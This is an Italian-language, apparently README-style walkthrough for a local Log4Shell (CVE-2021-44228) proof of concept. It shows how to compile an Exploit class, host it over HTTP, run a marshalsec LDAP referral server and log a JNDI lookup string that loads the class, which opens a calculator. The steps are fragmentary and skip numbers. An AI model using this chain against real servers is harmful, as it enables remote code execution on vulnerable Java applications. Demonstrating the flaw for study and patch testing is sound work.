
Proof-of-concept per Log4Shell (CVE-2021-44228) che dimostra l'esecuzione remota di codice basata su JNDI tramite server LDAP e HTTP.
Exploit.java in una cartella diversa. Come nel mio caso, ho creato una cartella rce nella home directory. /home/coldfusionx/rce
Exploit.java
Qui puoi cambiare il codice remoto con qualsiasi cosa, in questo caso farebbe apparire su una macchina ubuntu.gnome-calculator
Exploit.java usando il comando javac Exploit.java, una volta compilato con successo dovremmo vedere che viene creato un nuovo file Exploit.class.
Exploit.class usando python3 -m http.server 8888, in alternativa puoi anche usare un server php con il comando php -S 127.0.0.1:8888.

Add Configuration
1. Seleziona `Application`

2. Seleziona la classe principale

3. Seleziona il JDK e applica.

4. Dovresti vedere l'Applicazione Log4j creata, pronta per essere eseguita.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" per avviare il server LDAP, qui 127.0.0.1:8888 è il server python che ospita Exploit.class quindi specifichiamo /#Exploit
Passo 9 : Modifica il payload JNDI in log4j.java secondo le tue esigenze, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
In questo caso stiamo caricando la classe remota Exploit, il server di riferimento LDAP reindirizzerà la richiesta al nostro server python che ospita la classe Exploit dannosa.
Passo 10 : Esegui Log4j, al termine dell'esecuzione con successo dovresti vedere apparire una calcolatrice gnome.
